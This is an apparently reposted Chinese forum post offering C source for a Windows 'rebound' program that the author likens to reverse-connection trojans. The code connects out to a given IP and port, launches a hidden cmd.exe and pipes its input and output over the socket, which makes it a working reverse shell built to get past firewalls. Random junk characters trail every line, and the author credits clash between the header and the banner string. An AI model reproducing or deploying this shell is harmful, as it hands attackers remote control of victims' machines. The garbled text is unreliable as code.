这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'j\~> a3\
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/* ============================== %$&_!
Rebound port in Windows NT WS.lDMYE7
By wind,2006/7 cS%;JV>C
===============================*/ a] P0PH~
#include J(5#fo{Q.g
#include T2}X~A
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#pragma comment(lib,"wsock32.lib") wz{&0-md*'
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void OutputShell(); 8^puC
SOCKET sClient; qm6 X5T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KjK-#F,@
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void main(int argc,char **argv) C ~Doj
{ ' 7H"ezt
WSADATA stWsaData; 0"l`M5-KP
int nRet; +' SG$<Xv
SOCKADDR_IN stSaiClient,stSaiServer; &<EixDi4q
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if(argc != 3) {ceY:49
{ mq+x=
printf("Useage:\n\rRebound DestIP DestPort\n"); "..I$R
return; Ae*
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} {Fvl7Sh
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WSAStartup(MAKEWORD(2,2),&stWsaData); r8>Qs RnU%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -
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stSaiClient.sin_family = AF_INET; m>f8RBp]'
stSaiClient.sin_port = htons(0); +ZR>ul-c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ojx2[a\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C$d b)5-
{ 1 fTf+P
printf("Bind Socket Failed!\n"); 6J <.i
return; ZU;nXqjc
} };g<|v*o
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stSaiServer.sin_family = AF_INET; ujr"_ofI
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0py29>"t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #kgLdd"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \s6VOR/
{ J;N\q
printf("Connect Error!"); ~!P&LZ
return; |#sY(1
} yeLd,M/I
OutputShell(); S;tvt/\!Z
} T~
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void OutputShell() Y o\%53w/
{ Lb~'
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char szBuff[1024]; /H$:Q|T}
SECURITY_ATTRIBUTES stSecurityAttributes; 6$t+Q~2G!
OSVERSIONINFO stOsversionInfo; GHQm$|3I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r`sG!
STARTUPINFO stStartupInfo; M63t4; 0A
char *szShell; )O8w'4P5
PROCESS_INFORMATION stProcessInformation; NbK67p:
unsigned long lBytesRead; ^fP5@T*f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,4r 4 <
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &kQj)
stSecurityAttributes.lpSecurityDescriptor = 0; P"|-)d
stSecurityAttributes.bInheritHandle = TRUE; _e "
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v?l*jr1-2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fs2y$HN
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =3=8oF x8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C_&ZQlgQ
stStartupInfo.wShowWindow = SW_HIDE; K@?K4o
stStartupInfo.hStdInput = hReadPipe; 71Y3.1+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _
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GetVersionEx(&stOsversionInfo); P&Wf.qr{:
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switch(stOsversionInfo.dwPlatformId) 'jYKfq~_cJ
{ k/i&e~! \
case 1: xu@+b~C\
szShell = "command.com"; .SDE6nvbW
break; MC1&X'
default: >gDKkeLD
szShell = "cmd.exe"; dB8 e
break; |eksvO'~
} +*G<xW :M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]?_V+F
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send(sClient,szMsg,77,0); ->W rBO
while(1) [f?x,W~
{ 0y%s\,PsT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S~B{G T\M
if(lBytesRead) b@B\2BT
{ |AS9^w
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /5~j"|
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send(sClient,szBuff,lBytesRead,0); OG^#e+
} K<v:RbU|[1
else T+>W(w
i
{ 'JJ :
lBytesRead=recv(sClient,szBuff,1024,0); of>H&G)@
if(lBytesRead<=0) break; A`V:r2hnb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L(}/W~En
} 4
;^
} j|VX6U
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return; C\*0621
}